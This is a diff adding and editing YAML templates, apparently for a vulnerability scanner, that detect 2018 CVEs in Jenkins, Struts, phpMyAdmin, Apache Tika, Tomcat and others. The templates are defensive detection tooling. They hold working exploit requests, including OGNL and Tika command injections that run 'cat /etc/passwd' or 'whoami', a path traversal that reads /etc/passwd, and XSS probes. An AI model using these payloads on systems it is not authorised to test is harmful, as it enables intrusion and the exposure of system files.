+      - type: word
+        words:
+          - "root:/root:/bin/bash"
+        part: body
@@ -0,0 +1,25 @@
+id: CVE-2018-1000861
+
+info:
+  name: Jenkins 2.138 Remote Command Execution
+  author: dhiyaneshDK,pikpikcu
+  severity: critical
+  reference: https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
+  tags: cve,cve2018,jenkin,rce
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;'
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "package#vulntest"
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,32 @@
+id: CVE-2018-10141
+
+info:
+  name: GlobalProtect Login page XSS
+  author: dhiyaneshDk
+  description: GlobalProtect Portal Login page in Palo Alto Networks PAN-OS before 8.1.4 allows an unauthenticated attacker to inject arbitrary JavaScript or HTML.
+  severity: medium
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-10141
+  tags: globalprotect,xss,cve,cve2018,vpn
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/global-protect/login.esp?user=j%22;-alert(1)-%22x'
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'var valueUser = "j";-alert(1)-"x";'
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
+
+      - type: status
+        status:
+          - 200
@@ -2,10 +2,10 @@ id: CVE-2018-11409

 info:
  name: Splunk Sensitive Information Disclosure
-  author: Harsh Bothra
+  author: harshbothra_
  severity: medium
-
-# source:- https://nvd.nist.gov/vuln/detail/CVE-2018-11409
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-11409
+  tags: cve,cve2018,splunk

 requests:
  - method: GET
@@ -2,10 +2,10 @@ id: CVE-2018-11759

 info:
  name: Apache Tomcat JK Status Manager Access
-  author: Harsh Bothra
+  author: harshbothra_
  severity: medium
-
-# Source:- https://github.com/immunIT/CVE-2018-11759
+  reference: https://github.com/immunIT/CVE-2018-11759
+  tags: cve,cve2018,apache

 requests:
  - method: GET
@@ -0,0 +1,24 @@
+id: CVE-2018-11776
+
+info:
+  name: Apache Struts2 S2-057 RCE
+  author: pikpikcu
+  severity: critical
+  reference: https://github.com/jas502n/St2-057
+  tags: cve,cve2018,apache,rce,struts
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,20 @@
+id: CVE-2018-11784
+
+info:
+  name: Apache Tomcat Open Redirect
+  author: geeknik
+  description: Apache Tomcat versions prior to 9.0.12, 8.5.34, and 7.0.91 are prone to an open-redirection vulnerability because it fails to properly sanitize user-supplied input.
+  reference: https://lists.apache.org/thread.html/23134c9b5a23892a205dc140cdd8c9c0add233600f76b313dda6bd75@%3Cannounce.tomcat.apache.org%3E
+  severity: medium
+  tags: tomcat,redirect,cve,cve2018
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}//example.com"
+
+    matchers:
+      - type: regex
+        regex:
+          - "(?m)^(L|l)ocation: (((http|https):)?//(www.)?)?example.com"
+        part: header
@@ -0,0 +1,26 @@
+id: CVE-2018-1207
+
+info:
+  name: Dell iDRAC7 and iDRAC8 Devices Code Injection/RCE
+  author: dwisiswant0
+  severity: critical
+  reference: https://downloads.dell.com/solutions/dell-management-solution-resources/iDRAC_CVE%201207_1211_1000116.pdf
+  description: |
+    This template supports the detection part only.
+
+    Dell EMC iDRAC7/iDRAC8, versions prior to 2.52.52.52, contain CGI injection vulnerability
+    which could be used to execute remote code. A remote unauthenticated attacker may
+    potentially be able to use CGI variables to execute remote code.
+
+    https://github.com/KraudSecurity/Exploits/blob/master/CVE-2018-1207/CVE-2018-1207.py
+  tags: cve,cve2018,dell,injection,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/login?LD_DEBUG=files"
+    matchers:
+      - type: word
+        words:
+          - "calling init: /lib/"
+        part: all
@@ -4,6 +4,7 @@ info:
  name: RSA Authentication Manager XSS
  author: madrobot
  severity: medium
+  tags: cve,cve2018,xss,flash

 requests:
  - method: GET
@@ -16,7 +17,12 @@ requests:
        words:
          - "application/x-shockwave-flash"
        part: header
+
      - type: word
        words:
          - "javascript:alert(1337)"
        part: body
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,25 @@
+id: CVE-2018-12613
+
+info:
+  name: PhpMyAdmin 4.8.1 Remote File Inclusion
+  author: pikpikcu
+  severity: critical
+  reference: https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
+  tags: cve,cve2018,phpmyadmin,lfi
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd'
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,29 @@
+id: CVE-2018-12634
+
+info:
+  name: Exposed CirCarLife System Log
+  author: geeknik
+  description: CirCarLife is an internet-connected electric vehicle charging station
+  reference: https://circontrol.com/
+  severity: medium
+  tags: cve,cve2018,scada,circontrol,circarlife,logs
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/html/log"
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "CirCarLife Scada"
+      - type: word
+        words:
+          - "user.debug"
+          - "user.info"
+          - "EVSE"
+        condition: and
+      - type: status
+        status:
+          - 200
@@ -4,7 +4,8 @@ info:
  name: Spring MVC Directory Traversal Vulnerability
  author: hetroublemakr
  severity: high
-  # reference: https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
+  reference: https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
+  tags: cve,cve2018,spring,lfi

 requests:
  - method: GET
@@ -11,6 +11,8 @@ info:
    An unauthenticated remote malicious user (or attacker) can supply
    specially crafted request parameters against Spring Data REST backed HTTP resources
    or using Spring Data’s projection-based request payload binding hat can lead to a remote code execution attack.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-1273
+  tags: cve,cve2018,vmware,rce

 requests:
  - payloads:
@@ -0,0 +1,40 @@
+id: CVE-2018-1335
+
+info:
+  name: Apache Tika 1.15-1.17 Header Command Injection
+  author: pikpikcu
+  severity: critical
+  reference: https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/
+  edb: https://www.exploit-db.com/exploits/47208
+  tags: cve,cve2018,apache,tika,rce
+
+requests:
+  - method: PUT
+    path:
+      - "{{BaseURL}}/meta"
+    headers:
+      X-Tika-OCRTesseractPath: cscript
+      X-Tika-OCRLanguage: //E:Jscript
+      Expect: 100-continue
+      Content-type: image/jp2
+      Connection: close
+    body: "var oShell = WScript.CreateObject('WScript.Shell');var oExec = oShell.Exec(\"cmd /c whoami\");"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "Content-Type: text/csv"
+        part: header
+
+      - type: word
+        words:
+          - "org.apache.tika.parser.DefaultParser"
+          - "org.apache.tika.parser.gdal.GDALParse"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200